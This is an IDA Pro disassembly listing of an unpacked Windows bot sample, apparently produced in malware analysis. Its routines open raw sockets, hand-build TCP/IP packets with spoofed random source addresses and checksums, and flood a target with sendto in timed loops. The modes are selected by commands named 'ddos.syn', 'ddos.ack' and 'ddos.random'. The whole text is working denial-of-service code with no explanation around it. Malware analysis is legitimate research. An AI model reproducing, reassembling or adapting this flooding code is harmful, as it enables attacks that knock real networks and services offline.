; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 77DBD945B0476662AE8F1204E205DA6A ; File Name : u:\work\77dbd945b0476662ae8f1204e205da6a_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0006E000 ( 450560.) ; Section size in file : 0006E000 ( 450560.) ; Offset to raw data for section: 00001000 ; Flags F00000C0: Data Bss Shareable Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _nsp0 segment para public 'CODE' use32 assume cs:_nsp0 ;org 401000h assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; DATA XREF: sub_40CE55+38E0o ; .nsp1:0046F084o var_494 = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_20C = byte ptr -20Ch var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 call dword_42104C ; GetTickCount push eax call sub_415539 lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_28C] push eax call sub_4013E9 push eax lea eax, [ebp+var_494] push offset unk_423050 push eax call sub_4154E7 xor esi, esi add esp, 20h cmp [ebp+var_8], esi jnz short loc_401090 push esi lea eax, [ebp+var_494] push [ebp+var_C] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_294] call sub_412D4C add esp, 14h loc_401090: ; CODE XREF: sub_401000+6Ej lea eax, [ebp+var_494] push eax call sub_40B16D push [ebp+var_290] call sub_4152AF pop ecx pop ecx push esi call dword_421048 ; ExitThread pop edi pop esi sub_401000 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010B2 proc near ; CODE XREF: sub_4013E9+40p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_43A310 ; WSAStartup test eax, eax jz short loc_4010F2 xor eax, eax jmp loc_4013E5 ; --------------------------------------------------------------------------- loc_4010F2: ; CODE XREF: sub_4010B2+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_43A43C ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_4013DD push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_43A378 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_4013D3 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_43A398 ; ntohs mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_43A398 ; ntohs push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_43A398 ; ntohs mov [ebp+var_12], ax call sub_415543 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_43A398 ; ntohs push 12345678h mov [ebp+var_14], ax call dword_43A394 ; ntohl push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_4011C2 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_401216 ; --------------------------------------------------------------------------- loc_4011C2: ; CODE XREF: sub_4010B2+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_4011DE mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_401216 ; --------------------------------------------------------------------------- loc_4011DE: ; CODE XREF: sub_4010B2+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_401216 call sub_415543 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_415543 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_401216: ; CODE XREF: sub_4010B2+10Ej ; sub_4010B2+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_43A398 ; ntohs mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx call dword_421054 ; QueryPerformanceFrequency lea eax, [ebp+var_1C] push eax call dword_421050 ; QueryPerformanceCounter push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_4159A0 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_401264: ; CODE XREF: sub_4010B2+2E2j ; sub_4010B2+2F0j mov [ebp+var_4], bx call sub_415543 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_43A398 ; ntohs mov [ebp+var_14], ax call sub_415543 mov edi, eax shl edi, 10h call sub_415543 or edi, eax push edi call dword_43A398 ; ntohs movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_43A394 ; ntohl mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_43A398 ; ntohs mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_4155D0 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_4155D0 lea eax, [ebp+var_B4] push 34h push eax call sub_40A1CA mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_4155D0 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_4155D0 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_415570 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40A1CA mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_4155D0 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_43A3FC ; sendto cmp eax, 0FFFFFFFFh jz short loc_4013A7 add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax call dword_421050 ; QueryPerformanceCounter mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_4013D0 jl loc_401264 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_4013D0 jmp loc_401264 ; --------------------------------------------------------------------------- loc_4013A7: ; CODE XREF: sub_4010B2+2CBj call dword_43A32C ; WSAGetLastError push eax lea eax, [ebp+var_F4] push offset unk_42308C push eax call sub_4154E7 lea eax, [ebp+var_F4] push eax call sub_40B16D add esp, 10h jmp short loc_4013D3 ; --------------------------------------------------------------------------- loc_4013D0: ; CODE XREF: sub_4010B2+2E0j ; sub_4010B2+2EEj mov ebx, [ebp+arg_8] loc_4013D3: ; CODE XREF: sub_4010B2+78j ; sub_4010B2+31Cj push [ebp+var_20] call dword_43A430 ; closesocket pop esi loc_4013DD: ; CODE XREF: sub_4010B2+5Bj call dword_43A2F8 ; WSACleanup mov eax, ebx loc_4013E5: ; CODE XREF: sub_4010B2+3Bj pop edi pop ebx leave retn sub_4010B2 endp ; =============== S U B R O U T I N E ======================================= sub_4013E9 proc near ; CODE XREF: sub_401000+4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40A05B push [esp+10h+arg_4] mov esi, eax call sub_415A5F push [esp+14h+arg_C] mov ebx, eax call sub_415A5F mov edi, eax call sub_415543 cdq mov ecx, 200h push edi idiv ecx push ebx push [esp+20h+arg_8] lea eax, [edx+esi+100h] push eax push esi call sub_4010B2 add esp, 20h test eax, eax jnz short loc_401438 push 1 pop eax loc_401438: ; CODE XREF: sub_4013E9+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4013E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401447 proc near ; DATA XREF: sub_40CE55+3AC8o var_3BC = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh push ebx push esi mov eax, [ebp+arg_0] push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_1BC] push 1 pop ebx push 0FFh push 3 rep movsd push 2 mov [eax+19Ch], ebx call dword_43A418 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_4014E2 call dword_43A32C ; WSAGetLastError push eax lea eax, [ebp+var_3BC] push offset unk_42322C loc_401495: ; DATA XREF: .nsp0:off_424D5Co ; .nsp0:off_425D04o push eax call sub_4154E7 xor edi, edi add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_4014C5 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_412D4C add esp, 14h loc_4014C5: ; CODE XREF: sub_401447+5Cj lea eax, [ebp+var_3BC] push eax call sub_40B16D push [ebp+var_38] call sub_4152AF pop ecx pop ecx push edi call dword_421048 ; ExitThread loc_4014E2: ; CODE XREF: sub_401447+3Aj lea ecx, [ebp+var_C] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_C], ebx call dword_43A378 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_401559 call dword_43A32C ; WSAGetLastError push eax lea eax, [ebp+var_3BC] push offset unk_4231E0 push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_40153C push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_412D4C add esp, 14h loc_40153C: ; CODE XREF: sub_401447+D3j lea eax, [ebp+var_3BC] push eax call sub_40B16D push [ebp+var_38] call sub_4152AF pop ecx pop ecx push edi call dword_421048 ; ExitThread loc_401559: ; CODE XREF: sub_401447+B3j lea eax, [ebp+var_1B8] push eax call dword_43A3D8 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_4015C0 lea eax, [ebp+var_3BC] push offset unk_4231AC push eax call sub_4154E7 cmp [ebp+var_24], edi pop ecx pop ecx jnz short loc_4015A3 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_412D4C add esp, 14h loc_4015A3: ; CODE XREF: sub_401447+13Aj lea eax, [ebp+var_3BC] push eax call sub_40B16D push [ebp+var_38] call sub_4152AF pop ecx pop ecx push edi call dword_421048 ; ExitThread loc_4015C0: ; CODE XREF: sub_401447+122j push 10h lea eax, [ebp+var_1C] push edi push eax call sub_415570 add esp, 0Ch mov [ebp+var_1C], 2 push edi call dword_43A398 ; ntohs mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call dword_43A3D8 ; inet_addr mov esi, dword_42104C mov [ebp+var_18], eax mov [ebp+arg_0], edi call esi ; GetTickCount mov [ebp+var_8], eax loc_4015FE: ; CODE XREF: sub_401447+2E8j call esi ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_30] ja loc_4017A9 push 41Ch mov byte_438B98, 45h call dword_43A398 ; ntohs cmp [ebp+var_2C], edi mov word_438B9A, ax mov word_438B9C, bx mov word_438B9E, di mov byte_438BA0, 80h mov byte_438BA1, bl mov word_438BA2, di jz short loc_401684 call sub_415543 mov ebx, eax shl ebx, 8 call sub_415543 add ebx, eax shl ebx, 8 call sub_415543 add ebx, eax shl ebx, 8 call sub_415543 add ebx, eax push 1 mov dword_438BA4, ebx pop ebx jmp short loc_40169C ; --------------------------------------------------------------------------- loc_401684: ; CODE XREF: sub_401447+20Bj push [ebp+var_1BC] call sub_40A171 pop ecx push eax call dword_43A3D8 ; inet_addr mov dword_438BA4, eax loc_40169C: ; CODE XREF: sub_401447+23Bj mov eax, [ebp+var_18] mov dword_438BA8, eax call sub_415543 cdq mov ecx, 100h idiv ecx mov byte_438BAC, dl call sub_415543 cdq mov ecx, 100h idiv ecx mov byte_438BAD, dl call sub_415543 cdq mov ecx, 0F0h push 400h idiv ecx mov word_438BAE, di mov word_438BB2, bx inc edx mov word_438BB0, dx call sub_415543 cdq mov ecx, 0FFh idiv ecx push edx push offset dword_438BB4 call sub_415570 add esp, 0Ch lea eax, [ebp+var_1C] push 10h push eax push edi push 41Ch push offset byte_438B98 push [ebp+var_4] call dword_43A3FC ; sendto cmp eax, 0FFFFFFFFh jz short loc_401734 inc [ebp+arg_0] jmp loc_4015FE ; --------------------------------------------------------------------------- loc_401734: ; CODE XREF: sub_401447+2E3j push [ebp+var_4] call dword_43A430 ; closesocket call dword_43A32C ; WSAGetLastError push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax push offset unk_423148 lea eax, [ebp+var_3BC] push 200h push eax call sub_415A6A add esp, 18h cmp [ebp+var_24], edi jnz short loc_40178C push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_412D4C add esp, 14h loc_40178C: ; CODE XREF: sub_401447+323j lea eax, [ebp+var_3BC] push eax call sub_40B16D push [ebp+var_38] call sub_4152AF pop ecx pop ecx push edi call dword_421048 ; ExitThread loc_4017A9: ; CODE XREF: sub_401447+1C8j push [ebp+var_4] call dword_43A430 ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_30] shr ecx, 14h push ecx push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+var_3BC] push offset unk_4230E4 push eax call sub_4154E7 add esp, 1Ch cmp [ebp+var_24], edi jnz short loc_401811 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_412D4C add esp, 14h loc_401811: ; CODE XREF: sub_401447+3A8j lea eax, [ebp+var_3BC] push eax call sub_40B16D push [ebp+var_38] call sub_4152AF pop ecx pop ecx push edi call dword_421048 ; ExitThread sub_401447 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40182E proc near ; DATA XREF: sub_40CE55+37D1o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_401B7C push eax lea eax, [ebp+var_414] push offset dword_423274 push eax call sub_4154E7 xor esi, esi add esp, 18h cmp [ebp+var_8], esi jnz short loc_4018AB push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_412D4C add esp, 14h loc_4018AB: ; CODE XREF: sub_40182E+5Bj lea eax, [ebp+var_414] push eax call sub_40B16D push [ebp+var_10] call sub_4152AF pop ecx pop ecx push esi call dword_421048 ; ExitThread pop edi pop esi sub_40182E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018CA proc near ; CODE XREF: sub_401B7C+3Cp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_43A310 ; WSAStartup test eax, eax jz short loc_40190A xor eax, eax jmp loc_401B78 ; --------------------------------------------------------------------------- loc_40190A: ; CODE XREF: sub_4018CA+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_43A43C ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_401B70 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_43A378 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_401B66 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_415570 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_43A398 ; ntohs mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_43A398 ; ntohs push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_43A398 ; ntohs push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_43A398 ; ntohs mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx call dword_421054 ; QueryPerformanceFrequency lea eax, [ebp+var_8] push eax call dword_421050 ; QueryPerformanceCounter push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_4159A0 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_4019F5: ; CODE XREF: sub_4018CA+25Dj ; sub_4018CA+26Bj mov [ebp+var_24], bx call sub_415543 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_43A398 ; ntohs mov [ebp+var_34], ax call sub_415543 mov edi, eax shl edi, 10h call sub_415543 or edi, eax push edi call dword_43A398 ; ntohs movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_43A394 ; ntohl push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_43A398 ; ntohs mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_4155D0 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_4155D0 lea eax, [ebp+var_B4] push 34h push eax call sub_40A1CA mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_4155D0 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_4155D0 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_415570 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40A1CA mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_4155D0 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_43A3FC ; sendto cmp eax, 0FFFFFFFFh jz short loc_401B3A add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call dword_421050 ; QueryPerformanceCounter mov eax, [ebp+var_4] cmp eax, esi jg short loc_401B63 jl loc_4019F5 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_401B63 jmp loc_4019F5 ; --------------------------------------------------------------------------- loc_401B3A: ; CODE XREF: sub_4018CA+247j call dword_43A32C ; WSAGetLastError push eax lea eax, [ebp+var_F4] push offset dword_4232B0 push eax call sub_4154E7 lea eax, [ebp+var_F4] push eax call sub_40B16D add esp, 10h jmp short loc_401B66 ; --------------------------------------------------------------------------- loc_401B63: ; CODE XREF: sub_4018CA+25Bj ; sub_4018CA+269j mov ebx, [ebp+arg_8] loc_401B66: ; CODE XREF: sub_4018CA+78j ; sub_4018CA+297j push [ebp+var_C] call dword_43A430 ; closesocket pop esi loc_401B70: ; CODE XREF: sub_4018CA+5Bj call dword_43A2F8 ; WSACleanup mov eax, ebx loc_401B78: ; CODE XREF: sub_4018CA+3Bj pop edi pop ebx leave retn sub_4018CA endp ; =============== S U B R O U T I N E ======================================= sub_401B7C proc near ; CODE XREF: sub_40182E+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40A05B push [esp+10h+arg_4] mov esi, eax call sub_415A5F push [esp+14h+arg_8] mov ebx, eax call sub_415A5F mov edi, eax call sub_415543 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_4018CA add esp, 1Ch test eax, eax jnz short loc_401BC7 push 1 pop eax loc_401BC7: ; CODE XREF: sub_401B7C+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_401B7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401BD6 proc near ; DATA XREF: sub_40CE55+2C1Eo var_440 = byte ptr -440h var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_1BC = byte ptr -1BCh var_13C = byte ptr -13Ch var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_8C = byte ptr -8Ch var_80 = byte ptr -80h var_78 = byte ptr -78h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 440h mov eax, [ebp+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_240] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_9F] push 0Eh mov [eax+19Ch], esi pop ecx xor eax, eax mov [ebp+var_A0], bl rep stosd stosw stosb mov edi, dword_42104C call edi ; GetTickCount push eax call sub_415539 pop ecx push 0FFh push 3 push 2 call dword_43A418 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_401C9F call dword_43A32C ; WSAGetLastError push eax lea eax, [ebp+var_440] push offset dword_423438 push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401C7F push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_412D4C add esp, 14h loc_401C7F: ; CODE XREF: sub_401BD6+84j lea eax, [ebp+var_440] push eax call sub_40B16D push [ebp+var_BC] call sub_4152AF pop ecx pop ecx push ebx call dword_421048 ; ExitThread loc_401C9F: ; CODE XREF: sub_401BD6+61j lea ecx, [ebp+var_34] push 4 push ecx push 2 push ebx push eax mov [ebp+var_34], esi call dword_43A378 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_401D1D call dword_43A32C ; WSAGetLastError push eax lea eax, [ebp+var_440] push offset dword_4233EC push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401CFD push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_412D4C add esp, 14h loc_401CFD: ; CODE XREF: sub_401BD6+102j lea eax, [ebp+var_440] push eax call sub_40B16D push [ebp+var_BC] call sub_4152AF pop ecx pop ecx push ebx call dword_421048 ; ExitThread loc_401D1D: ; CODE XREF: sub_401BD6+DFj lea eax, [ebp+var_23C] push eax call dword_43A3D8 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_401D8D lea eax, [ebp+var_440] push offset dword_4233B8 push eax call sub_4154E7 cmp [ebp+var_A8], ebx pop ecx pop ecx jnz short loc_401D6D push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_412D4C add esp, 14h loc_401D6D: ; CODE XREF: sub_401BD6+172j lea eax, [ebp+var_440] push eax call sub_40B16D push [ebp+var_BC] call sub_4152AF pop ecx pop ecx push ebx call dword_421048 ; ExitThread loc_401D8D: ; CODE XREF: sub_401BD6+157j push 10h lea eax, [ebp+var_44] push ebx push eax call sub_415570 add esp, 0Ch mov [ebp+var_44], 2 push ebx call dword_43A398 ; ntohs mov [ebp+var_42], ax lea eax, [ebp+var_23C] push eax call dword_43A3D8 ; inet_addr mov [ebp+var_40], eax mov [ebp+arg_0], ebx call edi ; GetTickCount mov [ebp+var_30], eax loc_401DC5: ; CODE XREF: sub_401BD6+430j call edi ; GetTickCount sub eax, [ebp+var_30] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_B4] ja loc_402089 push 28h mov [ebp+var_2C], 45h call dword_43A398 ; ntohs cmp [ebp+var_B0], ebx mov [ebp+var_2A], ax mov [ebp+var_28], si mov [ebp+var_26], bx mov [ebp+var_24], 80h mov [ebp+var_23], 6 mov [ebp+var_22], bx jz short loc_401E38 